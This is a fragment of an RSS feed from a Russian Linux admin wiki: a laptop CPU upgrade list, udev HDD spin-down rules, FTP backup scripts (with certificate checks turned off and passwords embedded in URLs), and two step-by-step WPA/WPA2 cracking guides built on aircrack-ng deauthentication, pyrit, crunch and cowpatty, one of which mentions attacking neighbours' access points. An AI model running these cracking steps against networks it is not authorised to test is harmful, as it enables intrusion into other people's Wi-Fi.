&lt;a href=&quot;https://ascnb1.ru/forma1/viewtopic.php?f=373&amp;amp;t=135565&quot; class=&quot;urlextern&quot; title=&quot;https://ascnb1.ru/forma1/viewtopic.php?f=373&amp;amp;t=135565&quot; rel=&quot;ugc nofollow&quot;&gt;https://ascnb1.ru/forma1/viewtopic.php?f=373&amp;amp;t=135565&lt;/a&gt; &lt;br/&gt;
&lt;br/&gt;

&lt;a href=&quot;http://www.cyberforum.ru/notebooks-upgrade/thread1689453.html&quot; class=&quot;urlextern&quot; title=&quot;http://www.cyberforum.ru/notebooks-upgrade/thread1689453.html&quot; rel=&quot;ugc nofollow&quot;&gt;http://www.cyberforum.ru/notebooks-upgrade/thread1689453.html&lt;/a&gt; &lt;br/&gt;

\\&lt;a href=&quot;https://m.ru.aliexpress.com/item/32808713142.html?trace=wwwdetail2mobilesitedetail&amp;amp;spider=y&amp;amp;productId=32808713142&amp;amp;productSubject=LVDS-1ch-2ch-6bit-8bit-DF19-LCD-Screen-Line-Cable-Universal-Commonly-DF19-Screen-Line-Wire&quot; class=&quot;urlextern&quot; title=&quot;https://m.ru.aliexpress.com/item/32808713142.html?trace=wwwdetail2mobilesitedetail&amp;amp;spider=y&amp;amp;productId=32808713142&amp;amp;productSubject=LVDS-1ch-2ch-6bit-8bit-DF19-LCD-Screen-Line-Cable-Universal-Commonly-DF19-Screen-Line-Wire&quot; rel=&quot;ugc nofollow&quot;&gt;https://m.ru.aliexpress.com/item/32808713142.html?trace=wwwdetail2mobilesitedetail&amp;amp;spider=y&amp;amp;productId=32808713142&amp;amp;productSubject=LVDS-1ch-2ch-6bit-8bit-DF19-LCD-Screen-Line-Cable-Universal-Commonly-DF19-Screen-Line-Wire&lt;/a&gt;
&lt;br/&gt;

&lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041c\u0430\u0442\u0440\u0438\u0446\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043c\u0430\u0442\u0440\u0438\u0446\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-1254&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;cpu&quot;&gt;CPU&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
В ноуте стоит Intel(R) Core(TM) i5-2410M CPU @ 2.30GHz (Socket G2 (ppga988)) &lt;br/&gt;

Вот список процов совместимых с чипсетом: &lt;a href=&quot;http://www.cpu-upgrade.com/mb-Intel_(chipsets)/HM65_Express.html&quot; class=&quot;urlextern&quot; title=&quot;http://www.cpu-upgrade.com/mb-Intel_(chipsets)/HM65_Express.html&quot; rel=&quot;ugc nofollow&quot;&gt;http://www.cpu-upgrade.com/mb-Intel_(chipsets)/HM65_Express.html&lt;/a&gt; &lt;br/&gt;

Вероятные кандидаты на замену:
&lt;/p&gt;
&lt;ol&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 i7-2670QM (Socket G2) 2.2 ГГц кэш 6 МБ
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 i7-2710QE (Socket G2) 2.1 ГГц кэш 6 МБ
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 i7-2760QM (Socket G2) 2.4 ГГц кэш 6 МБ
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 i7-2820QM (Socket G2) 2.3 ГГц кэш 8 МБ
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 i7-2860QM (Socket G2) 2.5 ГГц кэш 8 МБ
&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;


&lt;p&gt;
В МСК эти процы стоят около 5000-7000 р.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;CPU&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;cpu&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;1255-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Sun, 09 Jun 2019 15:59:12 +0000</pubDate>
        </item>
        <item>
            <title>auto_stop_hdd_spindel_while_no_activity_with_udev_rules</title>
            <link>https://wiki.autosys.tk/linux_faq/auto_stop_hdd_spindel_while_no_activity_with_udev_rules</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;автоматическая_остановка_шпинделя_диска&quot;&gt;Автоматическая остановка шпинделя диска&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Автоматическая остановка шпинделя диска может понадобиться, например, если у вас в ноутбуке установлены SSD для работы и HDD для бекапа. Очевидно, что HDD нужен бывает редко, однако батарею он есть всегда. &lt;br/&gt;

Для того, чтобы HDD просыпался только когда он нужен, необходимо добавить правило &lt;strong&gt;udev&lt;/strong&gt;. Его можно добавить в соответствующий файлик правил, посвященных энергосбережению или создать новый - это не принципиально. У меня пара дисков которые не должны все время работать, поэтому я создам один файлик - &lt;strong&gt;/etc/udev/rules.d/70-hdd-powerdown-rules.rules&lt;/strong&gt;. И напишу туда пару правил по такому шаблону:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;ACTION==&amp;quot;add&amp;quot;, SUBSYSTEM==&amp;quot;block&amp;quot;, KERNEL==&amp;quot;sdX&amp;quot;, ATTR{queue/rotational}==&amp;quot;1&amp;quot;, RUN+=&amp;quot;/path/to/hdparm -S 1 /dev/sdX&amp;quot;&lt;/pre&gt;

&lt;p&gt;
Тут надо заменить &lt;strong&gt;sdX&lt;/strong&gt; на имя диска, который необходимо остановить и &lt;strong&gt;/path/to/hdparm&lt;/strong&gt; на полный путь к &lt;strong&gt;hdparm&lt;/strong&gt;. 
Это правило будет автоматически останавливать диск, если он неактивен в течение 5 секунд.&lt;br/&gt;

Однако, буква диска может меняться. На этот случай &lt;strong&gt;udev&lt;/strong&gt; способен идентифицировать диски по серийному номеру. Серийный номер смотрим командой:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo udevadm info -n /dev/sdb | grep ID_SERIAL_SHORT&lt;/pre&gt;

&lt;p&gt;
В ответ получаем что-то такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;E: ID_SERIAL_SHORT=WD-WXH1A31F7617&lt;/pre&gt;

&lt;p&gt;
И немного модифицируем правило, которое будет применяться ко всем дискам с заданным серийным номером:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;ACTION==&amp;quot;add&amp;quot;, SUBSYSTEM==&amp;quot;block&amp;quot;, KERNEL==&amp;quot;sd[a-z]&amp;quot;, ENV{ID_SERIAL_SHORT}==&amp;quot;WD-WXH1A31F7617&amp;quot;, RUN+=&amp;quot;/sbin/hdparm -S 1 /dev/%k&amp;quot;&lt;/pre&gt;

&lt;p&gt;
После создания правил можно заставить &lt;strong&gt;udev&lt;/strong&gt; их перечитать. На системах с &lt;strong&gt;systemd&lt;/strong&gt; так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo udevadm control --reload-rules &amp;amp;&amp;amp; sudo udevadm trigger&lt;/pre&gt;

&lt;p&gt;
А на системах с &lt;strong&gt;System V&lt;/strong&gt; так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;udevcontrol reload_rules &amp;amp;&amp;amp; udevtrigger&lt;/pre&gt;

&lt;p&gt;
Проверить выключается ли диск можно командой:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo hdparm -C /dev/sdc&lt;/pre&gt;

&lt;p&gt;
Если он выключился, то его состояние будет &lt;strong&gt;standby&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;# hdparm -C /dev/sdc

/dev/sdc:
 drive state is:  standby &lt;/pre&gt;

&lt;p&gt;
а если диск работает, то &lt;strong&gt;active/idle&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;# hdparm -C /dev/sda

/dev/sda:
 drive state is:  active/idle&lt;/pre&gt;

&lt;p&gt;
Инигда так случается, что диск отказывается уходить в &lt;strong&gt;standby&lt;/strong&gt;. В моем случае причиной оказались настройки &lt;strong&gt;Advanced Power Management&lt;/strong&gt;. Это параметры энергосбережениясамого диска. У меня они были выставлены на максимальную производительность:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo hdparm -B 254 /dev/sdb&lt;/pre&gt;

&lt;p&gt;
И в этом режиме диск не засыпал. &lt;br/&gt;

Для того, чтобы диск нормально уходил в &lt;strong&gt;standby&lt;/strong&gt; нужно было сделать так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo hdparm -B 127 /dev/sdb&lt;/pre&gt;

&lt;p&gt;
Или добавить это команду прямо в правило &lt;strong&gt;udev&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;ACTION==&amp;quot;add&amp;quot;, SUBSYSTEM==&amp;quot;block&amp;quot;, KERNEL==&amp;quot;sd[a-z]&amp;quot;, ENV{ID_SERIAL_SHORT}==&amp;quot;WD-WXH1A31F7617&amp;quot;, RUN+=&amp;quot;/sbin/hdparm -B 128 /dev/%k &amp;amp;&amp;amp; /sbin/hdparm -S 1 /dev/%k&amp;quot;&lt;/pre&gt;

&lt;/div&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>backtrack-faq</title>
            <link>https://wiki.autosys.tk/linux_faq/backtrack-faq</link>
            <description>
&lt;h2 class=&quot;sectionedit1&quot; id=&quot;как_подключиться_по_ssh&quot;&gt;Как подключиться  по ssh?&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
1. надо сгенерировать ключи:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sshd-generate&lt;/pre&gt;

&lt;p&gt;
2. Сменить пароль &lt;strong&gt;root&lt;/strong&gt;&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;passwd&lt;/pre&gt;

&lt;p&gt;
3. Перезапустить &lt;strong&gt;ssh&lt;/strong&gt;&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;service ssh restart&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041a\u0430\u043a \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f  \u043f\u043e ssh?&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043a\u0430\u043a_\u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f_\u043f\u043e_ssh&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-274&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit2&quot; id=&quot;backtrack_wpawpa2_crack&quot;&gt;BackTrack WPA/WPA2 crack&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
1. Смотрим какие есть интерфейсы, поддерживающие беспроводные расширения:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;iwconfig&lt;/pre&gt;

&lt;p&gt;
2. Переводим интерфейс в режим мониторинга:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;airmon-ng start wlan0&lt;/pre&gt;

&lt;p&gt;
В результате появится интерфейс &lt;strong&gt;mon0&lt;/strong&gt;, который будет виден в &lt;strong&gt;iwconfig&lt;/strong&gt;&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
3.  Сканируем эфир и выбираем сеть. Указываем интерфейс &lt;strong&gt;mon0&lt;/strong&gt;:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;airodump-ng mon0&lt;/pre&gt;

&lt;p&gt;
4. Запускаем airodump нацеленный на выбранную сеть, указываем канал&lt;strong&gt; -c 1&lt;/strong&gt;. Тут&lt;strong&gt; output &lt;/strong&gt;- это имя выходного файла.&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;airodump-ng -c 1 --bssid 48:5B:39:E7:BE:31 -w output mon0&lt;/pre&gt;

&lt;p&gt;
5. Если клиент уже подключен, запускаем aireplay и обрываем его аутентификацию, тем самым заставляя его соединиться заново:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;aireplay-ng -0 1 -e mikehome -a 48:5B:39:E7:BE:31 -c 00:26:5A:18:A5:C5 mon0&lt;/pre&gt;

&lt;p&gt;
где:&lt;br/&gt;

&lt;strong&gt;&lt;br/&gt;

-e mikehome — BSSID точки доступа &lt;br/&gt;

-a 00:14:6C:7E:40:80 — MAC точки доступа&lt;br/&gt;

-c 00:0F:B5:FD:FB:C2 — MAC клиента&lt;/strong&gt;&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
И на выходе получаем:&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
 &lt;strong&gt;11:09:28 Sending DeAuth to station – STMAC: [00:0F:B5:34:30:30]&lt;/strong&gt;&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Тыкать aireplay можно довольно долго, но в конце-концов в окне с airodump-ng появится справа:&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
&lt;strong&gt;WPA handshake: 48:5B:39:E7:BE:31&lt;/strong&gt;&lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;BackTrack WPA\/WPA2 crack&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;backtrack_wpawpa2_crack&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;275-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>backup_all_mysql_databases_separate_files_to_ftp</title>
            <link>https://wiki.autosys.tk/linux_faq/backup_all_mysql_databases_separate_files_to_ftp</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;скрипт_бекапа_баз_mysql&quot;&gt;Скрипт бекапа баз mysql&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Скрипт выполняет бекап всех баз, за исключением системных (&lt;strong&gt;mysql&lt;/strong&gt;,&lt;strong&gt;performance_schema&lt;/strong&gt;,&lt;strong&gt;information_schema&lt;/strong&gt;,&lt;strong&gt;sys&lt;/strong&gt;) с локального сервера &lt;strong&gt;mysql&lt;/strong&gt; в отдельные файлы,  и потом отправляет бекапы на &lt;strong&gt;&lt;abbr title=&quot;File Transfer Protocol&quot;&gt;FTP&lt;/abbr&gt;&lt;/strong&gt;. Также скрипт удаляет с &lt;strong&gt;&lt;abbr title=&quot;File Transfer Protocol&quot;&gt;FTP&lt;/abbr&gt;&lt;/strong&gt; старые бекапы, если их количество превышает заданное. &lt;br/&gt;

Для работы нужны &lt;strong&gt;pigz&lt;/strong&gt; и &lt;strong&gt;lftp&lt;/strong&gt;.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#!/bin/bash
backup_name_prefix=mysql_databases
ftpserver=ftp.comp.local
username=ftp_user_login_name
password=ftp_user_pass
currentdate=$(date +%d-%m-%Y_%H_%M)
remote_www_dir=/backup_dir
backup_depth=10

#Get list of directories with full encrypted backups
dirs=`echo &amp;quot;lftp -e &amp;#039;set ssl:verify-certificate no ssl:check-hostname false net:connection-limit 4; cls --sort=date $remote_www_dir/$backup_name_prefix; bye;&amp;#039; ftp://$username:$password@$ftpserver&amp;quot; | /bin/bash`
dirs=(${dirs// / })
#check number of directories and delete oldest
if [[ ${#dirs[@]} -gt $backup_depth ]]; then
        for ((i = $backup_depth; i &amp;lt; ${#dirs[@]}; i++))
        {
                echo &amp;quot;lftp -e &amp;#039;set ssl:verify-certificate no ssl:check-hostname false net:connection-limit 4; rm -r -f ${dirs[$i]}; bye;&amp;#039; ftp://$username:$password@$ftpserver&amp;quot; | /bin/bash
        }
fi


#Make temporary directory
mkdir --parents /tmp/$currentdate
#Make archives
databases=`mysql --execute=&amp;#039;show databases;&amp;#039; | sed &amp;#039;s/ //g&amp;#039; | grep -v &amp;#039;Database\|mysql\|performance_schema\|information_schema\|sys&amp;#039;`
for db in $databases
{
       mysqldump --databases $db | pigz &amp;gt; /tmp/$currentdate/$db-mysqldatabase-$currentdate.sql.gz
}
#Make put archives to ftp
cd /tmp/$currentdate/
echo &amp;quot;lftp -e &amp;#039;set ssl:verify-certificate no ssl:check-hostname false net:connection-limit 4; mkdir $remote_www_dir/$backup_name_prefix; mkdir $remote_www_dir/$backup_name_prefix/$currentdate; mirror -c -R /tmp/$currentdate $remote_www_dir/$backup_name_prefix/$currentdate; bye;&amp;#039; ftp://$username:$password@$ftpserver&amp;quot; | /bin/bash
# Housekeeping
rm -Rf /tmp/$currentdate&lt;/pre&gt;

&lt;/div&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Fri, 12 Apr 2019 07:23:45 +0000</pubDate>
        </item>
        <item>
            <title>backup_to_ftp_script</title>
            <link>https://wiki.autosys.tk/linux_faq/backup_to_ftp_script</link>
            <description>
&lt;p&gt;
Данный скрипт был создан мною для автоматизации ежедневного бекапа сайта на удаленный ftp-сервер. &lt;br/&gt;

Скрипт синхронизирует содержимое локальной директории на сервере с директорией на &lt;strong&gt;ftp&lt;/strong&gt; (делает зеркало сайта) и пытается сделать бекап в виде архива и, в случае неудачи по причине нехватки места, удаляет самый старый архивный файл бекапа и повторяет попытку. &lt;br/&gt;

В качестве ftp-клиента выступает &lt;strong&gt;lftp&lt;/strong&gt;. Протестировано на ftp-сервере &lt;strong&gt;proftpd&lt;/strong&gt;.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#!/bin/bash
dir_to_backup=/var/www
backup_name_prefix=wiki
ftpserver=ftp.server.com
username=username
password=secretpassword
currentdate=$(date +%d-%m-%Y_%H_%M)

echo &amp;quot;lftp -e &amp;#039;set ssl:verify-certificate no ssl:check-hostname false net:connection-limit 4; mirror -c -R $dir_to_backup /; bye;&amp;#039; ftp://$username:$password@$ftpserver&amp;quot; | /bin/bash

tar cf - $dir_to_backup | pigz &amp;gt; /tmp/$backup_name_prefix-$currentdate.tar.gz
ftp_error=$(echo &amp;quot;lftp -e &amp;#039;set ssl:verify-certificate no; set ssl:check-hostname false; lcd ~; cd wiki; put /tmp/$backup_name_prefix-$currentdate.tar.gz; bye;&amp;#039; -u $username,$password $ftpserver&amp;quot; | /bin/bash 2&amp;gt;&amp;amp;1)
ftp_result=$?
echo $ftp_result
echo $ftp_error | grep &amp;quot;Disk full&amp;quot;
disk_is_full=$?
while [ $ftp_result != 0 ]&amp;amp;&amp;amp;[ $disk_is_full ]; do
echo &amp;quot;lftp -e &amp;#039;set ssl:verify-certificate no; set ssl:check-hostname false; lcd ~; cd $backup_name_prefix; rm $backup_name_prefix-$currentdate.tar.gz; bye;&amp;#039; -u $username,$password $ftpserver&amp;quot; | /bin/bash 2&amp;gt;&amp;amp;1
oldestfile=$(echo &amp;quot;lftp -e &amp;#039;set ssl:verify-certificate no; set ssl:check-hostname false; lcd ~; cd $backup_name_prefix; ls -A1 -t; bye;&amp;#039; -u $username,$password $ftpserver&amp;quot; | /bin/bash 2&amp;gt;&amp;amp;1 | tail -2 | head -1)
echo &amp;quot;lftp -e &amp;#039;set ssl:verify-certificate no; set ssl:check-hostname false; lcd ~; cd wiki; rm $oldestfile; bye;&amp;#039; -u $username,$password $ftpserver&amp;quot; | /bin/bash 2&amp;gt;&amp;amp;1
ftp_error=$(echo &amp;quot;lftp -e &amp;#039;set ssl:verify-certificate no; set ssl:check-hostname false; lcd ~; cd wiki; put /tmp/$backup_name_prefix-$currentdate.tar.gz; bye;&amp;#039; -u $username,$password $ftpserver&amp;quot; | /bin/bash 2&amp;gt;&amp;amp;1)
ftp_result=$?
echo $ftp_error | grep &amp;quot;Disk full&amp;quot;
disk_is_full=$?
done
rm -f /tmp/$backup_name_prefix-$currentdate.tar.gz&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>bamt-wpa-crack-ломаем-wpa-с-bamt</title>
            <link>https://wiki.autosys.tk/linux_faq/bamt-wpa-crack-%D0%BB%D0%BE%D0%BC%D0%B0%D0%B5%D0%BC-wpa-%D1%81-bamt</link>
            <description>
&lt;p&gt;
Ломать будем с помощью pyrit&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
1. Зависимости:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;apt-get install g++ python-dev openssl zlib1g-dev libssl-dev python-scapy libpcap0.8 libpcap0.8-dev libpcap-dev&lt;/pre&gt;

&lt;p&gt;
2. Исходник:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;svn checkout http://pyrit.googlecode.com/svn/trunk/ pyrit-read-only&lt;/pre&gt;

&lt;p&gt;
3. Ставим:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cd pyrit_svn/

cd pyrit/
python setup.py build install

cd cpyrit_opencl/
python setup.py build install&lt;/pre&gt;

&lt;p&gt;
4. Проверяем правильность установки:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;pyrit selftest&lt;/pre&gt;

&lt;p&gt;
Смотрим доступные ядра процессора/видеокарт:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;pyrit list_cores&lt;/pre&gt;

&lt;p&gt;
Запускаем оценочный тест:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;pyrit benchmark&lt;/pre&gt;

&lt;p&gt;
5. Пример использования:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;pyrit -i /путь/до/файла/с/паролями/пароли.тхт import_passwords
pyrit -r cap-01.cap analyze
pyrit -r cap-01.cap -b 00:11:22:33:44:55 attack_batch
либо
pyrit -r cap-01.cap attack_batch&lt;/pre&gt;

&lt;p&gt;
Вариант 2 — хранение базы в любой указанной папке пользователя. Это более основательный подход к делу. Позволяет создать базу для конкретных essid&amp;#039;ов и конкретным числом паролей, т.е. берется файл с 100 миллионами паролей, после чего к нему добавляются любые essid&amp;#039;ы с уникальными именами. После чего база компилируется и привязывается к конкретным essid&amp;#039;ам которые вы в нее залили. После компиляции скорость увеличивается в 5-7 раз. Отличный вариант скажете вы, и будете правы, но ложка дектя конечно же есть smile.gif подвох заключен во времени компиляции, которые естественно зависит от кол-ва паролей и essid&amp;#039;ов и составляет продолжительное время.&lt;br/&gt;

Плюсы:&lt;br/&gt;

Допустим 1 база на 10 уникальных essid&amp;#039;ов может использоваться для любых точек доступа при условии что имя точки совпадает с тем, что находится в базе. Т.е. если у двух ваших соседей имя точки доступа dlink, но естественно разные mac-адреса, это НЕ помешает вам перебирать их по своей базе без необходится создания новой базы.&lt;br/&gt;

Скорость&lt;br/&gt;

Огромная скорость&lt;br/&gt;

Сделал 1 базу на самые часто встречающиеся essid&amp;#039;ы и чекай их за минимальное время в любых!!! количествах.&lt;br/&gt;

Минусы:&lt;br/&gt;

Время компилирования&lt;br/&gt;

Занимает много места на жестком диске.&lt;br/&gt;

Вывод — сухие факты про мою базу: 850 миллионов слов, 24 essid&amp;#039;а, 32 часа компилирования, 650.000 pmk/s перебор по базе, вес 240 gb.&lt;br/&gt;

Естественно при меньшем кол-ве паролей и essid&amp;#039;ов затраты по времени уменьшаются прямопропорционально. Стоит это того или нет, каждый решает сам.&lt;br/&gt;

Пример использования:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;pyrit -u file:///путь/до/файла/где/будет/база.db -i /путь/до/файла/с/паролями/пароли.тхт import_passwords
pyrit -u file:///путь/до/файла/где/будет/база.db -e linksys create_essid
pyrit -u file:///путь/до/файла/где/будет/база.db eval
pyrit -u file:///путь/до/файла/где/будет/база.db batch
pyrit -u file:///путь/до/файла/где/будет/база.db eval
pyrit -u file:///путь/до/файла/где/будет/база.db -r /путь/до/файла/с/cap/output-01.cap attack_db&lt;/pre&gt;

&lt;p&gt;
3. Ломаем по словарю на лету. Режим attack_passthrough. Самый быстрый. Без базы.&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;pyrit -e ESSID -i password.lst -r capture.cap attack_passthrough&lt;/pre&gt;

&lt;p&gt;
&lt;strong&gt;-e ESSID&lt;/strong&gt; - имя точки доступа &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
&lt;strong&gt;-i password.lst&lt;/strong&gt; файл паролей&lt;br/&gt;

&lt;strong&gt;-r capture.cap &lt;/strong&gt;- файл с хендшейком.&lt;br/&gt;

&lt;strong&gt;attack_passthrough &lt;/strong&gt;- режим атаки &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
4. Атака с генератором паролей crunch&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;crunch 10 12 1234567890 | pyrit -e ESSID -i - -r capture.cap attack_passthrough&lt;/pre&gt;

&lt;p&gt;
5. Атака с cowpatty &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Ставим cowpatty:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget http://wirelessdefence.org/Contents/Files/cowpatty-4.6.tgz
tar -xvf cowpatty-4.6.tgz
cd cowpatty-4.6/
make &amp;amp;&amp;amp; make install&lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;/pentest/passwords/crunch/crunch 8 8 ABCDEFGHIJKLMNOPQRSTUVWXYZ | pyrit -e BTHub3 -i - -o - passthrough | cowpatty -d - -r wpafile.cap -s BTHub3&lt;/pre&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;реальный_тест_производительности_pyrit&quot;&gt;Реальный тест производительности pyrit&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Атака генератором паролей crunch&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;root@bamt-miner:~# time /pentest/passwords/crunch/crunch 10 10 1234567890 | pyrit -i - -r /mnt/data/capfiles/test-14.cap attack_passthrough
Crunch will now generate the following amount of data: 110000000000 bytes
104904 MB
102 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 10000000000
Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Parsing file &amp;#039;/mnt/data/capfiles/test-14.cap&amp;#039; (1/1)...
Parsed 11 packets (11 802.11-packets), got 1 AP(s)

Picked AccessPoint 48:5b:39:38:57:cc (&amp;#039;default&amp;#039;) automatically.
Tried 123486174 PMKs so far; 88913 PMKs per second.

The password is &amp;#039;1234567890&amp;#039;.


real    23m36.646s
user    26m19.795s
sys     0m59.752s&lt;/pre&gt;

&lt;p&gt;
Атака по словарю:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;root@bamt-miner:~/cowpatty-4.6# time pyrit  -i /mnt/data/pyrit/dict_fullsorted_8.2G/fullsorted.dic -r /mnt/data/capfiles/test-14.cap attack_passthrough
Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Parsing file &amp;#039;/mnt/data/capfiles/test-14.cap&amp;#039; (1/1)...
Parsed 11 packets (11 802.11-packets), got 1 AP(s)

Picked AccessPoint 48:5b:39:38:57:cc (&amp;#039;default&amp;#039;) automatically.
Tried 112425621 PMKs so far; 88146 PMKs per second.

The password is &amp;#039;1234567890&amp;#039;.


real    21m7.570s
user    22m30.768s
sys     0m57.260s&lt;/pre&gt;

&lt;/div&gt;
